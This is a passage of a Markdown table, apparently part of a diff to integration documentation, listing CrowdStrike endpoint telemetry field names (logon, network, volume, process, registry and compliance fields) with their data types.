| +| crowdstrike.InterfaceAlias | | keyword | +| crowdstrike.InterfaceDescription | | keyword | +| crowdstrike.InterfaceFlags | | keyword | +| crowdstrike.InterfaceGuid | | keyword | +| crowdstrike.InterfaceIdentifier | | keyword | +| crowdstrike.InterfaceIndex | | long | +| crowdstrike.InterfaceKind | | match_only_text | +| crowdstrike.InterfaceMtu | | keyword | +| crowdstrike.InterfaceType | | keyword | +| crowdstrike.InterfaceVersion | | keyword | +| crowdstrike.IpEntryFlags | | keyword | +| crowdstrike.IrpFlags | | keyword | +| crowdstrike.IsClipboard | | boolean | +| crowdstrike.IsEBPF | | keyword | +| crowdstrike.IsFromDifferentMountNamespace | | keyword | +| crowdstrike.IsHosted | | keyword | +| crowdstrike.IsOnNetwork | | keyword | +| crowdstrike.IsOnRemovableDisk | | keyword | +| crowdstrike.IsProcessInitializing | | keyword | +| crowdstrike.IsTransactedFile | | keyword | +| crowdstrike.IsUnique | | keyword | +| crowdstrike.KernelTime | | long | +| crowdstrike.KeyObject | | match_only_text | +| crowdstrike.LanguageId | | keyword | +| crowdstrike.LastAdded | | match_only_text | +| crowdstrike.LastDiscoveredBy | | keyword | +| crowdstrike.LastDisplayed | | match_only_text | +| crowdstrike.LastLoggedOnHost | | keyword | +| crowdstrike.LastPendingUpdateInstalledTime | | match_only_text | +| crowdstrike.LaunchItemType | | match_only_text | +| crowdstrike.LaunchItemUrl | | match_only_text | +| crowdstrike.LdapSearchFilterSample | | match_only_text | +| crowdstrike.LfoUploadFlags | | keyword | +| crowdstrike.LightningLatencyState | | keyword | +| crowdstrike.Line | | keyword | +| crowdstrike.LinkLocalAddressBehavior | | keyword | +| crowdstrike.LinkLocalAddressTimeout | | keyword | +| crowdstrike.LocalAddressIP4 | | ip | +| crowdstrike.LocalAddressIP6 | | ip | +| crowdstrike.LocalAddressMaskIP4 | | keyword | +| crowdstrike.LocalAddressMaskIP6 | | keyword | +| crowdstrike.LocalAdminAccess | | keyword | +| crowdstrike.LocalIP | | ip | +| crowdstrike.LocalIPv6 | | ip | +| crowdstrike.LocalIpAddressPipelineSource | | keyword | +| crowdstrike.LogicalCoreCount | | long | +| crowdstrike.LoginSessionId | | keyword | +| crowdstrike.LogoffTime | | date | +| crowdstrike.LogonDomain | | keyword | +| crowdstrike.LogonId | | keyword | +| crowdstrike.LogonInfo | | keyword | +| crowdstrike.LogonServer | | keyword | +| crowdstrike.LogonTime | | date | +| crowdstrike.LogonType | | keyword | +| crowdstrike.MACAddress | | keyword | +| crowdstrike.MACPrefix | | keyword | +| crowdstrike.MD5HashData | | keyword | +| crowdstrike.MD5String | | keyword | +| crowdstrike.MLModelVersion | | keyword | +| crowdstrike.MachOSubType | | keyword | +| crowdstrike.MajorFunction | | keyword | +| crowdstrike.MajorVersion | | keyword | +| crowdstrike.Malicious | | keyword | +| crowdstrike.ManagedPdbBuildPath | | match_only_text | +| crowdstrike.MappedFromUserMode | | keyword | +| crowdstrike.MatchedClassification.ID | | keyword | +| crowdstrike.MatchedClassification.Name | | keyword | +| crowdstrike.MaxReassemblySize | | keyword | +| crowdstrike.MaxRouterAdvertisementInterval | | keyword | +| crowdstrike.MaxThreadCount | | long | +| crowdstrike.MediaConnectState | | keyword | +| crowdstrike.MediaType | | keyword | +| crowdstrike.MemoryAvailable | | match_only_text | +| crowdstrike.MemoryTotal | | keyword | +| crowdstrike.Metric | | keyword | +| crowdstrike.MicrocodeSignature | | keyword | +| crowdstrike.MinRouterAdvertisementInterval | | keyword | +| crowdstrike.MinorFunction | | keyword | +| crowdstrike.MinorVersion | | keyword | +| crowdstrike.MmioDataGenPmconB | | match_only_text | +| crowdstrike.MmioDataSmiEn | | match_only_text | +| crowdstrike.MmioDataTco1Cnt | | match_only_text | +| crowdstrike.MoboManufacturer | | keyword | +| crowdstrike.MoboProductName | | keyword | +| crowdstrike.ModelPrediction | | keyword | +| crowdstrike.ModuleCharacteristics | | keyword | +| crowdstrike.ModuleILPath | | keyword | +| crowdstrike.ModuleLoadCount | | long | +| crowdstrike.ModuleLoadTelemetryClassification | | keyword | +| crowdstrike.ModuleSize | | keyword | +| crowdstrike.MountedVolumeAction | | keyword | +| crowdstrike.NDRoot | | keyword | +| crowdstrike.NegateInterface | | keyword | +| crowdstrike.NegateLocalAddress | | keyword | +| crowdstrike.NegateRemoteAddress | | keyword | +| crowdstrike.NeighborList | | keyword | +| crowdstrike.NeighborName | | keyword | +| crowdstrike.NetLuidIndex | | long | +| crowdstrike.NetworkAccesses.AccessTimestamp | | keyword | +| crowdstrike.NetworkAccesses.AccessType | | keyword | +| crowdstrike.NetworkAccesses.ConnectionDirection | | keyword | +| crowdstrike.NetworkAccesses.IsIPV6 | | keyword | +| crowdstrike.NetworkAccesses.LocalAddress | | keyword | +| crowdstrike.NetworkAccesses.LocalPort | | keyword | +| crowdstrike.NetworkAccesses.Protocol | | keyword | +| crowdstrike.NetworkAccesses.RemoteAddress | | keyword | +| crowdstrike.NetworkAccesses.RemotePort | | keyword | +| crowdstrike.NetworkBindCount | | long | +| crowdstrike.NetworkCapableAsepWriteCount | | long | +| crowdstrike.NetworkCloseCount | | long | +| crowdstrike.NetworkConnectCount | | long | +| crowdstrike.NetworkConnectCountUdp | | long | +| crowdstrike.NetworkContainmentState | | keyword | +| crowdstrike.NetworkGuid | | keyword | +| crowdstrike.NetworkInterfaceGuid | | keyword | +| crowdstrike.NetworkListenCount | | long | +| crowdstrike.NetworkModuleLoadCount | | long | +| crowdstrike.NetworkRecvAcceptCount | | long | +| crowdstrike.NewExecutableWrittenCount | | long | +| crowdstrike.NewFileAttributesLinux | | keyword | +| crowdstrike.NewFileIdentifier | | keyword | +| crowdstrike.NewUnixPermissions | | keyword | +| crowdstrike.NlMtu | | keyword | +| crowdstrike.Nonce | | unsigned_long | +| crowdstrike.OSVersionFileData | | match_only_text | +| crowdstrike.OSVersionFileName | | keyword | +| crowdstrike.OU | | keyword | +| crowdstrike.Object1Type | | keyword | +| crowdstrike.ObjectAccessOperationType | | keyword | +| crowdstrike.ObjectNameEtw | | match_only_text | +| crowdstrike.ObjectType | | keyword | +| crowdstrike.ObjectTypeEtw | | match_only_text | +| crowdstrike.Objective | | keyword | +| crowdstrike.OciContainerAppName | | match_only_text | +| crowdstrike.OciContainerAppVersion | | match_only_text | +| crowdstrike.OciContainerConfigImage | | match_only_text | +| crowdstrike.OciContainerConfigLabels | | match_only_text | +| crowdstrike.OciContainerConfigTty | | match_only_text | +| crowdstrike.OciContainerConfigUser | | match_only_text | +| crowdstrike.OciContainerEngineType | | match_only_text | +| crowdstrike.OciContainerHostConfigCgroup | | match_only_text | +| crowdstrike.OciContainerHostConfigDevices | | match_only_text | +| crowdstrike.OciContainerHostConfigOomKillDisable | | match_only_text | +| crowdstrike.OciContainerHostConfigPrivileged | | match_only_text | +| crowdstrike.OciContainerHostConfigPublishAllPorts | | match_only_text | +| crowdstrike.OciContainerHostConfigReadOnlyRootfs | | match_only_text | +| crowdstrike.OciContainerId | | match_only_text | +| crowdstrike.OciContainerImageId | | match_only_text | +| crowdstrike.OciContainerInfoRetransmitted | | match_only_text | +| crowdstrike.OciContainerMounts | | match_only_text | +| crowdstrike.OciContainerName | | match_only_text | +| crowdstrike.OciContainerNetworkSettingsIpAddress | | match_only_text | +| crowdstrike.OciContainerPhase | | match_only_text | +| crowdstrike.OciContainerStateOOMKilled | | match_only_text | +| crowdstrike.OciContainerStatePid | | match_only_text | +| crowdstrike.OciContainersStartedCount | | match_only_text | +| crowdstrike.OciContainersStoppedCount | | match_only_text | +| crowdstrike.OnLinkPrefixLength | | keyword | +| crowdstrike.OperStatus | | keyword | +| crowdstrike.OperationFlags | | keyword | +| crowdstrike.Options | | keyword | +| crowdstrike.OriginWebLocations | | flattened | +| crowdstrike.OriginalContentLength | | keyword | +| crowdstrike.OriginalEventTimeStamp | | keyword | +| crowdstrike.OriginalFilename | | keyword | +| crowdstrike.OriginalParentAuthenticationId | | keyword | +| crowdstrike.OriginalUserName | | keyword | +| crowdstrike.OriginalUserSid | | keyword | +| crowdstrike.OutBroadcastOctets | | keyword | +| crowdstrike.OutDiscards | | keyword | +| crowdstrike.OutErrors | | keyword | +| crowdstrike.OutMulticastOctets | | keyword | +| crowdstrike.OutMulticastPkts | | keyword | +| crowdstrike.OutNUcastPkts | | keyword | +| crowdstrike.OutOctets | | keyword | +| crowdstrike.OutUcastOctets | | keyword | +| crowdstrike.OutUcastPkts | | keyword | +| crowdstrike.Parameter1 | | keyword | +| crowdstrike.Parameter2 | | keyword | +| crowdstrike.Parameter3 | | keyword | +| crowdstrike.Parameter64_1 | | keyword | +| crowdstrike.Parameter64_2 | | keyword | +| crowdstrike.Parameter64_3 | | keyword | +| crowdstrike.ParentAuthenticationId | | keyword | +| crowdstrike.ParentCommandLine | | keyword | +| crowdstrike.ParentCommandLine.text | Multi-field of `crowdstrike.ParentCommandLine`. | match_only_text | +| crowdstrike.ParentImageFileName | | keyword | +| crowdstrike.ParentImageFilePath | | keyword | +| crowdstrike.ParentProcessPatternIdList | | keyword | +| crowdstrike.PasswordLastSet | | keyword | +| crowdstrike.PathMtuDiscoveryTimeout | | keyword | +| crowdstrike.PatternDispositionDescription | | keyword | +| crowdstrike.PatternDispositionFlags.BlockingUnsupportedOrDisabled | | boolean | +| crowdstrike.PatternDispositionFlags.BootupSafeguardEnabled | | boolean | +| crowdstrike.PatternDispositionFlags.ContainmentFileSystem | | boolean | +| crowdstrike.PatternDispositionFlags.CriticalProcessDisabled | | boolean | +| crowdstrike.PatternDispositionFlags.Detect | | boolean | +| crowdstrike.PatternDispositionFlags.FsOperationBlocked | | boolean | +| crowdstrike.PatternDispositionFlags.HandleOperationDowngraded | | boolean | +| crowdstrike.PatternDispositionFlags.InddetMask | | boolean | +| crowdstrike.PatternDispositionFlags.Indicator | | boolean | +| crowdstrike.PatternDispositionFlags.KillActionFailed | | boolean | +| crowdstrike.PatternDispositionFlags.KillParent | | boolean | +| crowdstrike.PatternDispositionFlags.KillProcess | | boolean | +| crowdstrike.PatternDispositionFlags.KillSubProcess | | boolean | +| crowdstrike.PatternDispositionFlags.OperationBlocked | | boolean | +| crowdstrike.PatternDispositionFlags.PolicyDisabled | | boolean | +| crowdstrike.PatternDispositionFlags.ProcessBlocked | | boolean | +| crowdstrike.PatternDispositionFlags.QuarantineFile | | boolean | +| crowdstrike.PatternDispositionFlags.QuarantineMachine | | boolean | +| crowdstrike.PatternDispositionFlags.RegistryOperationBlocked | | boolean | +| crowdstrike.PatternDispositionFlags.Rooting | | boolean | +| crowdstrike.PatternDispositionFlags.SensorOnly | | boolean | +| crowdstrike.PatternDispositionFlags.SuspendParent | | boolean | +| crowdstrike.PatternDispositionFlags.SuspendProcess | | boolean | +| crowdstrike.PatternDispositionValue | | long | +| crowdstrike.PatternId | | keyword | +| crowdstrike.PatternIdList | | match_only_text | +| crowdstrike.PciAttachmentState | | keyword | +| crowdstrike.PciConfigDataBdsm | | match_only_text | +| crowdstrike.PciConfigDataBiosCntl | | match_only_text | +| crowdstrike.PciConfigDataGenPmconA | | match_only_text | +| crowdstrike.PciConfigDataGgc | | match_only_text | +| crowdstrike.PciConfigDataHfsts1 | | match_only_text | +| crowdstrike.PciConfigDataMesegBase | | match_only_text | +| crowdstrike.PciConfigDataRemapbase | | match_only_text | +| crowdstrike.PciConfigDataRemaplimit | | match_only_text | +| crowdstrike.PciConfigDataSmramc | | match_only_text | +| crowdstrike.PciConfigDataTom | | match_only_text | +| crowdstrike.PciConfigDataTouud | | match_only_text | +| crowdstrike.PciConfigDataTsegmb | | match_only_text | +| crowdstrike.Pcr0 | | match_only_text | +| crowdstrike.Pcr1 | | match_only_text | +| crowdstrike.Pcr2 | | match_only_text | +| crowdstrike.Pcr3 | | match_only_text | +| crowdstrike.Pcr4 | | match_only_text | +| crowdstrike.Pcr5 | | match_only_text | +| crowdstrike.Pcr6 | | match_only_text | +| crowdstrike.Pcr7 | | match_only_text | +| crowdstrike.PendingUpdateIds | | match_only_text | +| crowdstrike.PerformanceCounter | | keyword | +| crowdstrike.PermanentPhysicalAddress | | keyword | +| crowdstrike.PhysicalAddress | | keyword | +| crowdstrike.PhysicalAddressLength | | long | +| crowdstrike.PhysicalCoreCount | | long | +| crowdstrike.PhysicalMediumType | | keyword | +| crowdstrike.PlatformId | | keyword | +| crowdstrike.PlatformName | | keyword | +| crowdstrike.PointerSize | | keyword | +| crowdstrike.Policy.ID | | keyword | +| crowdstrike.Policy.Name | | keyword | +| crowdstrike.PolicyRuleSeverity | | long | +| crowdstrike.PreferredLifetime | | keyword | +| crowdstrike.PrefixLength | | keyword | +| crowdstrike.PrefixOrigin | | keyword | +| crowdstrike.Prevalence.Key | | keyword | +| crowdstrike.PreviousConnectTime | | date | +| crowdstrike.PreviousFileAttributesLinux | | keyword | +| crowdstrike.PreviousUnixPermissions | | keyword | +| crowdstrike.PrimaryModule | | keyword | +| crowdstrike.PrivilegedProcessHandleCount | | long | +| crowdstrike.PrivilegesBitmask | | keyword | +| crowdstrike.ProcessAttributes | | match_only_text | +| crowdstrike.ProcessCount | | long | +| crowdstrike.ProcessCreateFlags | | keyword | +| crowdstrike.ProcessId | | long | +| crowdstrike.ProcessParameterFlags | | keyword | +| crowdstrike.ProcessStartKey | | keyword | +| crowdstrike.ProcessSxsFlags | | keyword | +| crowdstrike.ProcessorPackageCount | | long | +| crowdstrike.ProductType | | keyword | +| crowdstrike.ProtectVirtualMemoryCount | | long | +| crowdstrike.ProvisionState | | keyword | +| crowdstrike.PublicKeys | | keyword | +| crowdstrike.PupAdwareConfidence | | keyword | +| crowdstrike.PupAdwareDecisionValue | | keyword | +| crowdstrike.QuarantinedFileExtendedState | | match_only_text | +| crowdstrike.QuarantinedFileName | | match_only_text | +| crowdstrike.QuarantinedFileState | | match_only_text | +| crowdstrike.QueryStatus | | integer | +| crowdstrike.QueueApcCount | | long | +| crowdstrike.RFMState | | keyword | +| crowdstrike.RGID | | keyword | +| crowdstrike.RPath | | match_only_text | +| crowdstrike.RTRState | | keyword | +| crowdstrike.RUID | | keyword | +| crowdstrike.RawThreadId | | keyword | +| crowdstrike.ReachableTime | | keyword | +| crowdstrike.ReasonOfFunctionalityLevel | | keyword | +| crowdstrike.ReceiveLinkSpeed | | keyword | +| crowdstrike.ReferrerUrl | | keyword | +| crowdstrike.RegBinaryValue | | match_only_text | +| crowdstrike.RegClassification | | keyword | +| crowdstrike.RegClassificationFlags | | keyword | +| crowdstrike.RegClassificationIndex | | keyword | +| crowdstrike.RegConfigClass | | keyword | +| crowdstrike.RegConfigFlags | | keyword | +| crowdstrike.RegConfigIndex | | keyword | +| crowdstrike.RegConfigValueType | | keyword | +| crowdstrike.RegCreateDisposition | | match_only_text | +| crowdstrike.RegCreateOptions | | match_only_text | +| crowdstrike.RegKeySecurityDecreasedCount | | long | +| crowdstrike.RegObjectName | | keyword | +| crowdstrike.RegOperationType | | keyword | +| crowdstrike.RegPostObjectName | | match_only_text | +| crowdstrike.RegRootObjectName | | match_only_text | +| crowdstrike.RegStringValue | | match_only_text | +| crowdstrike.RegType | | keyword | +| crowdstrike.RegValueName | | keyword | +| crowdstrike.RelatedClassifications.ID | | keyword | +| crowdstrike.RelatedClassifications.Name | | keyword | +| crowdstrike.RemoteAccount | | keyword | +| crowdstrike.RemoteAddressMaskIP4 | | keyword | +| crowdstrike.RemoteAddressMaskIP6 | | keyword | +| crowdstrike.RemoteAddressString | | keyword | +| crowdstrike.RemovableDiskFileWrittenCount | | long | +| crowdstrike.RequestType | | keyword | +| crowdstrike.ResendToCloud | | keyword | +| crowdstrike.ResourceAttributes | | flattened | +| crowdstrike.ResourceCreateTime | | date | +| crowdstrike.ResourceId | | keyword | +| crowdstrike.ResourceIdType | | keyword | +| crowdstrike.RespondingDnsServer | | keyword | +| crowdstrike.ResponseAction | | keyword | +| crowdstrike.RetransmitTime | | keyword | +| crowdstrike.RootPath | | keyword | +| crowdstrike.RouteAge | | keyword | +| crowdstrike.RouteMetric | | keyword | +| crowdstrike.RouteOrigin | | keyword | +| crowdstrike.RouterDiscoveryBehavior | | keyword | +| crowdstrike.RpcClientProcessId | | keyword | +| crowdstrike.RpcClientThreadId | | keyword | +| crowdstrike.RpcNestingLevel | | keyword | +| crowdstrike.RpcOpClassification | | match_only_text | +| crowdstrike.RpcOpNum | | keyword | +| crowdstrike.RuleId | | keyword | +| crowdstrike.RunDllInvocationCount | | long | +| crowdstrike.SHA1HashData | | keyword | +| crowdstrike.SHA1String | | keyword | +| crowdstrike.SHA256HashData | | keyword | +| crowdstrike.SHA256String | | keyword | +| crowdstrike.SVGID | | keyword | +| crowdstrike.SVUID | | keyword | +| crowdstrike.SamAccountName | | match_only_text | +| crowdstrike.ScopeLevel | | keyword | +| crowdstrike.ScopeZone | | keyword | +| crowdstrike.ScreenshotType | | keyword | +| crowdstrike.ScreenshotsTakenCount | | long | +| crowdstrike.ScriptContent | | match_only_text | +| crowdstrike.ScriptContentBytes | | match_only_text | +| crowdstrike.ScriptContentName | | keyword | +| crowdstrike.ScriptContentScanId | | match_only_text | +| crowdstrike.ScriptControlErrorCode | | keyword | +| crowdstrike.ScriptEngineInvocationCount | | long | +| crowdstrike.ScriptingLanguageId | | keyword | +| crowdstrike.SecurityInformationLinux | | keyword | +| crowdstrike.SensorGroupingTags | | keyword | +| crowdstrike.SensorId | | keyword | +| crowdstrike.SensorStateBitMap | | keyword | +| crowdstrike.ServiceAccessPropertiesEtw | | match_only_text | +| crowdstrike.ServiceCurrentState | | keyword | +| crowdstrike.ServiceDelayedAutoStart | | match_only_text | +| crowdstrike.ServiceDependOnService | | match_only_text | +| crowdstrike.ServiceDescription | | keyword | +| crowdstrike.ServiceDisplayName | | keyword | +| crowdstrike.ServiceErrorControl | | keyword | +| crowdstrike.ServiceEventCount | | long | +| crowdstrike.ServiceFailureActions | | keyword | +| crowdstrike.ServiceImagePath | | keyword | +| crowdstrike.ServicePackMajor | | keyword | +| crowdstrike.ServiceSecurity | | keyword | +| crowdstrike.ServiceStart | | keyword | +| crowdstrike.ServiceType | | keyword | +| crowdstrike.SessionId | | keyword | +| crowdstrike.SessionProcessId | | keyword | +| crowdstrike.SetThreadContextCount | | long | +| crowdstrike.Severity | | integer | +| crowdstrike.SeverityName | | keyword | +| crowdstrike.ShannonEntropy | | keyword | +| crowdstrike.ShareAccess | | keyword | +| crowdstrike.ShareName | | keyword | +| crowdstrike.ShareSecurity | | keyword | +| crowdstrike.ShareSecuritySddl | | keyword | +| crowdstrike.SignInfoFlags | | keyword | +| crowdstrike.SignatureErrorState | | keyword | +| crowdstrike.SignatureState | | keyword | +| crowdstrike.SiteName | | keyword | +| crowdstrike.SitePrefixLength | | keyword | +| crowdstrike.Size | | long | +| crowdstrike.SkipAsSource | | keyword | +| crowdstrike.SmbClientName | | keyword | +| crowdstrike.SmbShareName | | keyword | +| crowdstrike.SnapshotFileOpenCount | | long | +| crowdstrike.SourceAccountDomain | | keyword | +| crowdstrike.SourceAccountObjectGuid | | keyword | +| crowdstrike.SourceAccountObjectSid | | keyword | +| crowdstrike.SourceAccountSamAccountName | | keyword | +| crowdstrike.SourceEndpointAccountObjectGuid | | keyword | +| crowdstrike.SourceEndpointAccountObjectSid | | keyword | +| crowdstrike.SourceEndpointAddressIP4 | | keyword | +| crowdstrike.SourceEndpointHostName | | keyword | +| crowdstrike.SourceEndpointNetworkTag | | keyword | +| crowdstrike.SourceEndpointNetworkType | | keyword | +| crowdstrike.SourceEventUniqueId | | keyword | +| crowdstrike.SourceFileName | | keyword | +| crowdstrike.SourceProcessId | | keyword | +| crowdstrike.SourceProducts | | keyword | +| crowdstrike.SourceThreadId | | keyword | +| crowdstrike.SourceThreadModule | | match_only_text | +| crowdstrike.SourceThreadStartAddress | | keyword | +| crowdstrike.SourceVendors | | keyword | +| crowdstrike.SpibarDataBfpr | | match_only_text | +| crowdstrike.SpibarDataFreg0 | | match_only_text | +| crowdstrike.SpibarDataFreg1 | | match_only_text | +| crowdstrike.SpibarDataFreg2 | | match_only_text | +| crowdstrike.SpibarDataFreg3 | | match_only_text | +| crowdstrike.SpibarDataFreg4 | | match_only_text | +| crowdstrike.SpibarDataHsfs | | match_only_text | +| crowdstrike.SpibarDataPr0 | | match_only_text | +| crowdstrike.SpibarDataPr1 | | match_only_text | +| crowdstrike.SpibarDataPr2 | | match_only_text | +| crowdstrike.SpibarDataPr3 | | match_only_text | +| crowdstrike.SpibarDataPr4 | | match_only_text | +| crowdstrike.SpibarDataVscc0 | | match_only_text | +| crowdstrike.SpibarDataVscc1 | | match_only_text | +| crowdstrike.StartTime | | date | +| crowdstrike.Status | | keyword | +| crowdstrike.StorageUsageInfo | | match_only_text | +| crowdstrike.SubStatus | | keyword | +| crowdstrike.SubjectDomainNameEtw | | match_only_text | +| crowdstrike.SuffixOrigin | | keyword | +| crowdstrike.SuppressType | | keyword | +| crowdstrike.Suppression.Suppressed | | boolean | +| crowdstrike.SuspectStackCount | | long | +| crowdstrike.SuspiciousCredentialModuleLoadCount | | long | +| crowdstrike.SuspiciousDnsRequestCount | | long | +| crowdstrike.SuspiciousFontLoadCount | | long | +| crowdstrike.SuspiciousRawDiskReadCount | | long | +| crowdstrike.SymbolicLinkName | | keyword | +| crowdstrike.SymbolicLinkTarget | | keyword | +| crowdstrike.SyntheticPR2Flags | | keyword | +| crowdstrike.SystemManufacturer | | keyword | +| crowdstrike.SystemProcessCount | | match_only_text | +| crowdstrike.SystemProductName | | keyword | +| crowdstrike.SystemSerialNumber | | keyword | +| crowdstrike.SystemSku | | keyword | +| crowdstrike.SystemTableIndex | | long | +| crowdstrike.Tactic | | keyword | +| crowdstrike.Tags | | keyword | +| crowdstrike.TargetAuthenticationId | | keyword | +| crowdstrike.TargetCommandLineParameters | | keyword | +| crowdstrike.TargetDomainControllerObjectGuid | | keyword | +| crowdstrike.TargetDomainControllerObjectSid | | keyword | +| crowdstrike.TargetFileName | | keyword | +| crowdstrike.TargetIntegrityLevel | | keyword | +| crowdstrike.TargetProcessCommandLine | | keyword | +| crowdstrike.TargetProcessImageFileName | | keyword | +| crowdstrike.TargetSHA256HashData | | keyword | +| crowdstrike.TargetThreadId | | keyword | +| crowdstrike.TargetThreadModule | | keyword | +| crowdstrike.TaskAuthor | | keyword | +| crowdstrike.TaskExecArguments | | keyword | +| crowdstrike.TaskExecCommand | | keyword | +| crowdstrike.TaskName | | keyword | +| crowdstrike.TaskXml | | match_only_text | +| crowdstrike.Technique | | keyword | +| crowdstrike.TemplateDisposition | | keyword | +| crowdstrike.TemplateInstanceId | | keyword | +| crowdstrike.ThreadStartAddress | | keyword | +| crowdstrike.ThreadStartBytes | | match_only_text | +| crowdstrike.ThreadStartContext | | keyword | +| crowdstrike.Timeout | | long | +| crowdstrike.TokenType | | keyword | +| crowdstrike.TotalCount | | long | +| crowdstrike.TransmitLinkSpeed | | keyword | +| crowdstrike.TreeId | | keyword | +| crowdstrike.TunnelType | | keyword | +| crowdstrike.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword | +| crowdstrike.USN | | keyword | +| crowdstrike.UninstallPendingUpdateIds | | match_only_text | +| crowdstrike.UnixMode | | keyword | +| crowdstrike.UnsignedModuleLoadCount | | long | +| crowdstrike.UpdateFlag | | keyword | +| crowdstrike.UploadId | | keyword | +| crowdstrike.User | | keyword | +| crowdstrike.UserDepartment | | keyword | +| crowdstrike.UserFlags | | keyword | +| crowdstrike.UserGroupsBitmask | | keyword | +| crowdstrike.UserLogoffType | | keyword | +| crowdstrike.UserLogonFlags | | keyword | +| crowdstrike.UserLogonFlags_decimal | | keyword | +| crowdstrike.UserMapped | | boolean | +| crowdstrike.UserMemoryAllocateExecutableCount | | long | +| crowdstrike.UserMemoryAllocateExecutableRemoteCount | | long | +| crowdstrike.UserMemoryProtectExecutableCount | | long | +| crowdstrike.UserMemoryProtectExecutableRemoteCount | | long | +| crowdstrike.UserName | | keyword | +| crowdstrike.UserNotified | | boolean | +| crowdstrike.UserRid | | keyword | +| crowdstrike.UserSid | | keyword | +| crowdstrike.UserSid_readable | | keyword | +| crowdstrike.UserThread | | keyword | +| crowdstrike.UserTime | | long | +| crowdstrike.UserTitle | | keyword | +| crowdstrike.ValidLifetime | | keyword | +| crowdstrike.VerifiedCertificate | | keyword | +| crowdstrike.VersionInfo | | match_only_text | +| crowdstrike.VnodeModificationType | | keyword | +| crowdstrike.VnodeType | | keyword | +| crowdstrike.VolumeAppearanceTime | | keyword | +| crowdstrike.VolumeBusName | | keyword | +| crowdstrike.VolumeBusPath | | keyword | +| crowdstrike.VolumeDeviceCharacteristics | | keyword | +| crowdstrike.VolumeDeviceInternal | | keyword | +| crowdstrike.VolumeDeviceModel | | keyword | +| crowdstrike.VolumeDeviceObjectFlags | | keyword | +| crowdstrike.VolumeDevicePath | | keyword | +| crowdstrike.VolumeDeviceProtocol | | keyword | +| crowdstrike.VolumeDeviceRevision | | keyword | +| crowdstrike.VolumeDeviceType | | keyword | +| crowdstrike.VolumeDeviceVendor | | match_only_text | +| crowdstrike.VolumeDriveLetter | | keyword | +| crowdstrike.VolumeEncryptionStatus | | keyword | +| crowdstrike.VolumeFileSystemDevice | | keyword | +| crowdstrike.VolumeFileSystemDriver | | keyword | +| crowdstrike.VolumeFileSystemType | | keyword | +| crowdstrike.VolumeIsEncrypted | | keyword | +| crowdstrike.VolumeIsNetwork | | keyword | +| crowdstrike.VolumeLabel | | keyword | +| crowdstrike.VolumeMediaBSDMajor | | keyword | +| crowdstrike.VolumeMediaBSDMinor | | keyword | +| crowdstrike.VolumeMediaBSDName | | keyword | +| crowdstrike.VolumeMediaBSDUnit | | keyword | +| crowdstrike.VolumeMediaContent | | keyword | +| crowdstrike.VolumeMediaEjectable | | keyword | +| crowdstrike.VolumeMediaName | | keyword | +| crowdstrike.VolumeMediaPath | | keyword | +| crowdstrike.VolumeMediaRemovable | | keyword | +| crowdstrike.VolumeMediaSize | | keyword | +| crowdstrike.VolumeMediaUUID | | keyword | +| crowdstrike.VolumeMediaWhole | | keyword | +| crowdstrike.VolumeMediaWritable | | keyword | +| crowdstrike.VolumeMountPoint | | keyword | +| crowdstrike.VolumeName | | keyword | +| crowdstrike.VolumeOriginPath | | match_only_text | +| crowdstrike.VolumeRealDeviceName | | keyword | +| crowdstrike.VolumeSectorSize | | keyword | +| crowdstrike.VolumeSessionUUID | | keyword | +| crowdstrike.VolumeSnapshotName | | match_only_text | +| crowdstrike.VolumeSnapshotTimeStamp | | match_only_text | +| crowdstrike.VolumeType | | keyword | +| crowdstrike.VolumeUUID | | keyword | +| crowdstrike.WindowFlags | | keyword | +| crowdstrike.WmiNamespaceName | | keyword | +| crowdstrike.WmiProviderName | | keyword | +| crowdstrike.WmiProviderType | | keyword | +| crowdstrike.WmiQuery | | keyword | +| crowdstrike.__mv_LocalAddressIP4 | | keyword | +| crowdstrike.__mv_aip | | keyword | +| crowdstrike.__mv_discoverer_aid | | keyword | +| crowdstrike.aid | | keyword | +| crowdstrike.aipCount | | integer | +| crowdstrike.assessments | | flattened | +| crowdstrike.attack_types | | keyword | +| crowdstrike.aws_account_id | | keyword | +| crowdstrike.cid | | keyword | +| crowdstrike.cis_benchmark_ids | | keyword | +| crowdstrike.cisa_benchmark_ids | | keyword | +| crowdstrike.cloud_asset_type | | long | +| crowdstrike.cloudplatform | | keyword | +| crowdstrike.compliance.benchmarkNames | | keyword | +| crowdstrike.compliance.frameworks | | keyword | +| crowdstrike.compliance.requirements | | keyword | +| crowdstrike.compliance.sections | | keyword | +| crowdstrike.compliance.versions | | keyword | +| crowdstrike.created | | date | +| crowdstrike.crn | | keyword | +| crowdstrike.discovererCount | | integer | +| crowdstrike.discoverer_aid | | keyword | +| crowdstrike.disposition | | keyword | +| crowdstrike.eid | | integer | +| crowdstrike.event-type | | keyword | +| crowdstrike.event_category | | keyword | +| crowdstrike.finding | | keyword | +| crowdstrike.findings.name | | keyword | +| crowdstrike.findings.value | | keyword | +| crowdstrike.firstDetected | | date | +| crowdstrike.hostname | | keyword | +| crowdstrike.id | | keyword | +| crowdstrike.info.host.\* | Host information enriched from aidmaster data. | object | +| crowdstrike.info.user.\* | User information enriched from userinfo data. | object | +| crowdstrike.internal_only | | boolean | +| crowdstrike.iso_benchmark_ids | | keyword | +| crowdstrike.lastDetected | | date | +| crowdstrike.legacyPolicyId | | long | +| crowdstrike.localipCount | | integer | +| crowdstrike.management_event | | boolean | +| crowdstrike.monthsincereset | | keyword | +| crowdstrike.name | | keyword | +| crowdstrike.nist_benchmark_ids | | keyword | +| crowdstrike.os_version | | keyword | +| crowdstrike.pci_benchmark_ids | | keyword | +| crowdstrike.policy_severity | | long | +| crowdstrike.product_type_desc | | keyword | +| crowdstrike.read_only | | boolean | +| crowdstrike.request_id | | keyword | +| crowdstrike.request_parameters | | keyword | +| crowdstrike.resource.captured | | date | +| crowdstrike.resource.legacyResourceId | | keyword | +| crowdstrike.resource.legacyResourceTypeId | | long | +| crowdstrike.resource.resourceId | | keyword | +| crowdstrike.resource.resourceType | | keyword | +| crowdstrike.resource_url | | keyword | +| crowdstrike.response_elements | | keyword | +| crowdstrike.revision | | long | +| crowdstrike.scores.modified_time | | date | +| crowdstrike.scores.os | | long | +| crowdstrike.scores.overall | | long | +| crowdstrike.scores.sensor | | long | +| crowdstrike.scores.version | | keyword | +| crowdstrike.service | | keyword | +| crowdstrike.soc2_benchmark_ids | | keyword | +| crowdstrike.status | | keyword | +| crowdstrike.subnet | | keyword | +| crowdstrike.url | | keyword | +| crowdstrike.user_identity_access_key_id | | keyword | +| crowdstrike.user_identity_account_id | | keyword | +| 